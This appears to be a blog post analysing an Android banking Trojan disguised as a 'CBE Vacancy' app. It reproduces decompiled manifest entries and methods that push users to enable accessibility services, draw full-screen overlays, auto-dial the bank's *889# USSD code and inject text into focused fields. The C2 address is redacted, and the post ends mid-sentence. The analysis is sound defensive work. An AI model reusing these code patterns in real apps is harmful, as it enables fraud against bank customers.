Another piece of malware is live in Addis! This time, it’s a banking Trojan app. Interesting , even the bank has issued an alert to users..

So a day or two ago, I saw this circulating. I was wondering how it was possible and tried to find the malware ASAP. A day after i found it . At least this ==time== it was a 5.0 mb Named CBE Vacancy . Jan 30 2025 Interesting name maybe I should hop in and look for a job. Let’s dig a little deeper; it seems to fit the context of the notification sent by the bank.

Virus Total

Let’s scan the app on VirusTotal. VirusTotal helps us analyze URLs, contacted IPs, behavior analysis, and more. Virus total helps us analyze some details URLS and IP contacted along with behaviors analysis and more .

We can see there it matches a YARA rule which this yara rule is designed to detect the presence of Base64-encoded URL prefixes (http:// and https://) within files. Since most malwares try to hide their endpoint. Interesting, but this is just the tip of the iceberg . Press enter or click to view image in full size

IP/URL address contacted The graph displays the contacted IP and URL addresses, with most appearing to be legitimate services, though some exhibit potentially malicious behavior. However, this raw data alone is not particularly helpful. Instead of searching for a needle in a haystack, I will begin with static analysis, which can provide insight into where the initial activity started and help determine the next steps. Later, we can perform dynamic analysis for further investigation.

Static Analysis

Before diving into dynamic analysis, let’s start with static analysis. I’ll use JADX to decompile the app and examine its contents. The first thing I’ll check is the Android Manifest (AndroidManifest.xml) file, which contains crucial details about how the app interacts with the device and the permissions it requires. This file outlines the app’s structure, functionality, and key attributes such as:

<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.POST_NOTIFICATIONS"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<permission
android:name="np.manager.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION"
android:protectionLevel="signature"/>

Hmm… Based on the granted permissions, how might this app be used to steal sensitive credentials especially considering it’s targeting a banking app? Let’s analyze its activities and services to uncover potential threats.

<activity
android:name="np.manager.ActivityC0697"
android:exported="false"/>
<activity
android:name="np.manager.MainActivity2"
android:exported="false"/>
<service
android:name="np.manager.C0685"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService"/>
</intent-filter>
<meta-data
android:name="android.accessibilityservice"
android:resource="@xml/accessibility"/>
</service>
<activity
android:name="np.manager.ActivityC0688"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>

The Accessibility Service is accessed or required by the app. Anyone with a keen eye on Android security can see how this can be abused by malicious actors. This built-in service within the Android framework is designed to assist users by providing alternative navigation feedback on behalf of installed applications. It can perform various functions, from reading text aloud using TalkBack to simulating button clicks and overlaying content on an app. Additionally, this service can run in the background.

While no service is perfectly tailored for hackers, this one comes close due to its extensive capabilities. However, it’s important to remember that this feature was originally designed to enhance accessibility, making Android devices more user-friendly and inclusive for individuals with disabilities. Before diving into the activity that manages the service, let’s first check the other activities.

<activity
android:name="np.manager.ActivityC0697"
android:exported="false"/>
<activity
android:name="np.manager.MainActivity2"
android:exported="false"/>
<activity
android:name="np.manager.ActivityC0688"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>

Activities

ActivityC0688(renamed by our decompiler) is the main activity or entry to the app. This activity does some intersting things as follow .

this.f8337 = (WindowManager) getSystemService("window");
m4311();
Button ask = (Button) findViewById(C0679.f8261);
ask.setOnClickListener(new ViewOnClickListenerC0689(this));
  1. initializes a WindowManager, checks if an accessibility service is enabled, and sets a button click listener that triggers an action.
  2. m4311() : checkes if accessibility service is turned on. If its enabled it alerts the user “CBE app is enabled” or the banking app is running even if it has nothign to do . This is a technique to ensure the user enables accessibility service to force users into turning the permission on and abuse .
  3. m4318(): inflates a layout and adds it as an overlay using WindowManager.LayoutParams
  4. ms4314:removes this overlay when necessary.
  5. Now the intersting part m4315() checks if call permission is set on the apk
  6. Then m4313() handles and calls to *889%23 (*889#) or cbe birr . Did you notice the attack path .
  7. m4317(): creates and shows a notification with a channel
private void m4318() {
  LayoutInflater inflater = LayoutInflater.from(this);
  this.f8336 = inflater.inflate(C0680.f8272, (ViewGroup) null);
  WindowManager.LayoutParams params = new WindowManager.LayoutParams(-1, -1, 2038, 8, -3);
  this.f8337.addView(this.f8336, params);
}
/* renamed from: ̜, reason: not valid java name and contains not printable characters */
private void m4314() {
  View view = this.f8336;
  if (view != null) {
    this.f8337.removeView(view);
    this.f8336 = null;
  }
}
public void m4313() {
  Intent intent = new Intent("android.intent.action.CALL", Uri.parse("tel:*889%23"));
  startActivity(intent);
}
public void m4311() {
  AccessibilityManager am = (AccessibilityManager) getSystemService("accessibility");
  List < AccessibilityServiceInfo > enabledServices = am.getEnabledAccessibilityServiceList(-1);
  boolean isEnabled = false;
  Iterator < AccessibilityServiceInfo > it = enabledServices.iterator();
  while (true) {
    if (!it.hasNext()) {
      break;
    }
    AccessibilityServiceInfo service = it.next();
    if (service.getResolveInfo().serviceInfo.packageName.equals("np.manager")) {
      isEnabled = true;
      break;
    }
  }
  if (isEnabled) {
    Toast.makeText(this, "CBE app is enabled", 1).show();
    Toast.makeText(this, "Welcome Back", 1).show();
    m4315();
  } else {
    Toast.makeText(this, "CBE app is not enabled", 1).show();
    Intent intent = new Intent(this, (Class < ? > ) MainActivity2.class);
    startActivity(intent);
  }
}
private void m4317(String title, String message) {
  NotificationManager notificationManager = (NotificationManager) getSystemService("notification");
  if (Build.VERSION.SDK_INT >= 26) {
    NotificationChannel channel = new NotificationChannel("channel_id", "Channel Name", 3);
    notificationManager.createNotificationChannel(channel);
  }
  Intent intent = new Intent(this, (Class < ? > ) MainActivity2.class);
  intent.setFlags(268468224);
  PendingIntent pendingIntent = PendingIntent.getActivity(this, 0, intent, 33554432);
  Notification.Builder builder = null;
  if (Build.VERSION.SDK_INT >= 26) {
    builder = new Notification.Builder(this, "channel_id").setSmallIcon(android.R.drawable.ic_dialog_alert).setContentTitle(title).setContentText(message).setContentIntent(pendingIntent).setPriority(1).setCategory(NotificationCompat.CATEGORY_CALL).setDefaults(-1).setOngoing(true).setAutoCancel(false);
  }
  notificationManager.notify(1, builder.build());
}
setContentView(C0680.f8270);
try {
  WebView webView = new WebView(this);
  webView.getSettings().setJavaScriptEnabled(true);
  webView.setScrollBarStyle(0);
  webView.setWebViewClient(new MyWebViewClient());
  webView.setWebChromeClient(new C0695(this));
  webView.addJavascriptInterface(new C0696(this, this), "Android");
  String str3 = getString(C0682.f8274);
  String str1 = new String(Base64.decode(str3, 0), "UTF-8").replace("Start Accessibility", "CBE").replace("Enable Accessibility To Continue", m4284() + " : 'CBE'");
  StringBuilder stringBuilder1 = new StringBuilder();
  stringBuilder1.append("var lang = '");
  stringBuilder1.append(Locale.getDefault().getLanguage());
  stringBuilder1.append("'");
  String str12 = str1.replace("var lang = 'en'", stringBuilder1.toString());
  String str2 = m4282("PGh0bWwgbGFuZz0iZW4iPg==");
  webView.loadDataWithBaseURL(null, str12.replace(str2, m4282("PGh0bWwgbGFuZz0i") + Locale.getDefault().getLanguage() + m4282("Ij4=")), "text/html", "UTF-8", null);
  setContentView(webView);
} catch (Exception e) {}
}

This activity generates a webpage and displays it to the user, prompting them to enable Accessibility Services to proceed. The webpage’s content is stored in the resources/res/values/strings.xml directory under the string name Access and is encoded in Base64. While we could decode it to examine the webpage, let's move forward.

Summary of Findings So Far:

What We Haven’t Determined Yet:

  1. What exactly does it steal?
  2. How does the malware exfiltrate captured data and communicate with the server? Next, let’s examine the event handler that triggers when the Accessibility Service is activated.
public void onAccessibilityEvent(android.view.accessibility.AccessibilityEvent r103) {
  /*
  Method dump skipped, instructions count: 6102
  To view this dump change 'Code comments level' option to 'DEBUG'
  */
  throw new UnsupportedOperationException("Method not decompiled: np.manager.C0685.onAccessibilityEvent(android.view.accessibility.AccessibilityEvent):void");
}

It appears that the code is either obfuscated or too lengthy to fully decompile. This highlights the limitations of static analysis, letting us to shift to dynamic analysis observing the malware in action.

However, we can still make some assumptions based on decompiled functions that are present but never invoked. Notably, we identified two such functions with no method invocation. Malware authors sometimes include junk code to mislead analysts, but these two functions align with typical malware behavior that exploits Accessibility Services.

Potential Communication Channel

In certain parts of the code, we found a connection set to a domain. This could be a potential exfiltration channel for stolen data or it might be a decoy. At this stage, we can only speculate, as there is no clear indication of where this function is being called from.

private void m4295(String value) {
  final OkHttpClient client = new OkHttpClient();
  String url = "redacted"
  final Request request = new Request.Builder().url(url).build();
  new Thread(new Runnable() { // from class: np.manager.೽
    @Override // java.lang.Runnable
    public final void run() {
      C0685.m4293(OkHttpClient.this, request);
    }
  }).start();
}

But virus totals dynamic analysis gives us a hint in that it actually connects to that domain or C2 .

Data Extracted (Speculation)

In java you can extend classes giving it the persona of Object Oriented Programming . In this case the actors have extended the AccessibilityService class. Here we can see what the intent of the actors is .

public void m4300() {
  try {
    AccessibilityNodeInfo root = getRootInActiveWindow();
    AccessibilityNodeInfo focus = root.findFocus(1);
    if (focus != null) {
      Bundle arguments = new Bundle();
      arguments.putString(AccessibilityNodeInfoCompat.ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, f8294);
      boolean sucess = focus.performAction(2097152, arguments);
      if (!sucess) {
        AccessibilityNodeInfo accessibilityNodeInfo = f8288;
        if (accessibilityNodeInfo == null) {
          return;
        } else {
          accessibilityNodeInfo.performAction(2097152, arguments);
        }
      }
      f8289 = false;
    }
  } catch (Exception e) {}
}

This code creates an overlay on top of the active window, allowing it to access and interact with the user interface (UI) elements currently displayed on the screen. It then identifies the UI element that is currently in focus, such as an input field where the user is typing. If a focused node or input element is detected, the code proceeds to manipulate it. Specifically, it inserts the value “f8294” into the identified input field. To confirm our predictions, we need to proceed to the next step: dynamic analysis, which we will conduct later. This concludes our analysis so far.

Conclusion

So far, we know that the malware creates an overlay on the screen, captures user interactions, and even performs actions on the screen when needed. It then stores the extracted data and transmits it back. However, the exact nature of the data being captured and the specific extraction methods remain unclear, despite some predictions. To gain deeper insights, dynamic analysis may be necessary for further investigation.

As a hint, the main activity looks something like this: